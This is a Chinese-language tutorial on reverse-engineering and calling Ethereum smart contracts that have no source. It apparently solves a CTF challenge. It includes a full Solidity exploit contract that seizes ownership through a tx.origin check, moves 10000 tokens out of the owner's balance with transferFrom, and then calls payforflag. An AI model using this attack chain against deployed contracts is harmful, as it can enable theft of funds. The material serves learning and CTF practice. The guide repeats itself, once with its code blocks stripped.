如何与无源码的智能合约交互
字数 1641 2025-08-22 12:22:43

与无源码智能合约交互的完整指南

前言

本指南详细讲解如何与没有源代码的以太坊智能合约进行交互,包括环境配置、反编译分析、虚合约编写和实战攻击链构造等关键内容。

环境配置

必要工具

  1. Remix IDE:在线Solidity开发环境 http://remix.ethereum.org/
  2. MetaMask钱包:浏览器扩展钱包
  3. 推荐浏览器:Chrome(火狐浏览器可能存在Solidity编译器兼容性问题)

基础示例分析

简单合约示例

pragma solidity ^0.4.18;
contract Instance {
    uint256 public paswd;
    
    function set(uint256 _parm) public {
        paswd = _parm;
    }
    
    function look() public returns (uint256) {
        return paswd;
    }
}

反编译工具

  1. Contract Libraryhttps://contract-library.com/
  2. EtherVMhttps://ethervm.io/decompile(提供更底层的反编译)

ABI解析

ABI(Application Binary Interface)是描述合约接口的JSON文件,关键字段:

字段 类型 含义
constant bool 是否为常量函数
inputs json 输入参数类型
outputs json 输出参数类型
payable bool 是否可接收ETH
stateMutability str 函数状态可变性

重要概念

  1. 交易(Transaction):所有需要写入链上的操作
  2. 状态变量:永久存储在合约中的值
  3. 函数标志
    • view:只读函数,不消耗gas
    • pure:既不读取也不修改状态
    • payable:可接收ETH

虚合约技术

虚合约编写方法

  1. 通过ABI逆向出函数声明
  2. 在Remix中部署到原合约地址
  3. 通过Remix接口直接调用函数

跨合约调用示例

pragma solidity ^0.4.18;

contract Contract {
    // 虚合约声明
    function paswd() view returns (uint256);
    function set(uint256 _parm);
    function look() returns (uint256);
}

contract Exploit {
    Contract instance;
    
    function Exploit() {
        address _parm = 0xf78482dfe10B3c7aBBE79Dfda0859b0Eb3864BbD;
        instance = Contract(_parm);
    }
    
    function set(uint256 _parm) {
        instance.set(_parm);
    }
    
    function look() view returns (uint256) {
        return instance.look();
    }
}

实战案例分析

合约功能逆向

通过反编译得到以下关键函数:

  1. approve(address,uint256):设置allowance
  2. allowance(address,address):查询allowance
  3. owner():返回合约所有者
  4. changeOwner(address):修改合约所有者
  5. balanceOf(address):查询余额
  6. transferFrom(address,address,uint256):转账
  7. payforflag(string):目标函数

攻击链构造步骤

  1. 修改合约所有者

    • 通过攻击合约调用changeOwner
    • 要求:tx.origin != msg.sender
  2. 转账操作

    • 调用transferFrom从原所有者向攻击合约转账10000
    • 需要满足的条件:
      • msg.value == 0
      • varg1 != 0
      • _transferFrom[address(varg0)][0] >= varg2
      • varg2 > 0
  3. 调用payforflag

    • 需要满足:
      • msg.value == 0
      • balanceOf(msg.sender) >= 10000
      • owner == msg.sender

完整攻击合约

pragma solidity ^0.4.18;

contract Instance {
    function transferFrom(address,address,uint256) public payable returns(bool);
    function balanceOf(address) public payable returns(uint256);
    function payforflag(string) payable public;
    function owner() public view returns(address);
    function changeOwner(address) public;
    function allowance(address,address) view public returns(uint256);
    function approve(address,uint256) public returns(bool);
    function totalSupply() view public returns(uint256);
}

contract Exploit {
    Instance instance;
    address _adr = 0xad8742d9B48be31f69CCEA55B183C2EE7d4d8058;
    address public Bank_adr;
    
    function Exploit() {
        instance = Instance(_adr);
        Bank_adr = instance.owner();
    }
    
    function changeOwner() public {
        instance.changeOwner(this);
    }
    
    function transferFrom() public payable {
        instance.transferFrom(Bank_adr, this, 10000);
    }
    
    function payforflag() payable public {
        instance.payforflag("Y3dtankxMzE0QDEyNi5jb20="); // base64编码的邮箱
    }
}

关键技巧与注意事项

  1. 反编译差异:不同反编译工具结果可能不同,建议交叉验证
  2. 存储布局:理解合约的存储布局对逆向至关重要
  3. 函数可见性:注意public/external等可见性修饰符的影响
  4. 错误处理:合约调用失败时要检查所有require条件
  5. gas估算:复杂操作需要合理估算gas limit

参考资源

  1. Solidity官方文档:https://solidity-cn.readthedocs.io/
  2. 在线反编译工具:
  3. 在线合约交互:https://www.mycrypto.com/

通过本指南,您应该能够掌握与无源码智能合约交互的核心技术,包括反编译分析、虚合约编写和复杂攻击链构造等方法。

与无源码智能合约交互的完整指南 前言 本指南详细讲解如何与没有源代码的以太坊智能合约进行交互,包括环境配置、反编译分析、虚合约编写和实战攻击链构造等关键内容。 环境配置 必要工具 Remix IDE :在线Solidity开发环境 http://remix.ethereum.org/ MetaMask钱包 :浏览器扩展钱包 推荐浏览器 :Chrome(火狐浏览器可能存在Solidity编译器兼容性问题) 基础示例分析 简单合约示例 反编译工具 Contract Library : https://contract-library.com/ EtherVM : https://ethervm.io/decompile (提供更底层的反编译) ABI解析 ABI(Application Binary Interface)是描述合约接口的JSON文件,关键字段: | 字段 | 类型 | 含义 | |------|------|------| | constant | bool | 是否为常量函数 | | inputs | json | 输入参数类型 | | outputs | json | 输出参数类型 | | payable | bool | 是否可接收ETH | | stateMutability | str | 函数状态可变性 | 重要概念 交易(Transaction) :所有需要写入链上的操作 状态变量 :永久存储在合约中的值 函数标志 : view :只读函数,不消耗gas pure :既不读取也不修改状态 payable :可接收ETH 虚合约技术 虚合约编写方法 通过ABI逆向出函数声明 在Remix中部署到原合约地址 通过Remix接口直接调用函数 跨合约调用示例 实战案例分析 合约功能逆向 通过反编译得到以下关键函数: approve(address,uint256) :设置allowance allowance(address,address) :查询allowance owner() :返回合约所有者 changeOwner(address) :修改合约所有者 balanceOf(address) :查询余额 transferFrom(address,address,uint256) :转账 payforflag(string) :目标函数 攻击链构造步骤 修改合约所有者 通过攻击合约调用changeOwner 要求: tx.origin != msg.sender 转账操作 调用transferFrom从原所有者向攻击合约转账10000 需要满足的条件: msg.value == 0 varg1 != 0 _transferFrom[address(varg0)][0] >= varg2 varg2 > 0 调用payforflag 需要满足: msg.value == 0 balanceOf(msg.sender) >= 10000 owner == msg.sender 完整攻击合约 关键技巧与注意事项 反编译差异 :不同反编译工具结果可能不同,建议交叉验证 存储布局 :理解合约的存储布局对逆向至关重要 函数可见性 :注意public/external等可见性修饰符的影响 错误处理 :合约调用失败时要检查所有require条件 gas估算 :复杂操作需要合理估算gas limit 参考资源 Solidity官方文档: https://solidity-cn.readthedocs.io/ 在线反编译工具: https://contract-library.com/ https://ethervm.io/decompile 在线合约交互: https://www.mycrypto.com/ 通过本指南,您应该能够掌握与无源码智能合约交互的核心技术,包括反编译分析、虚合约编写和复杂攻击链构造等方法。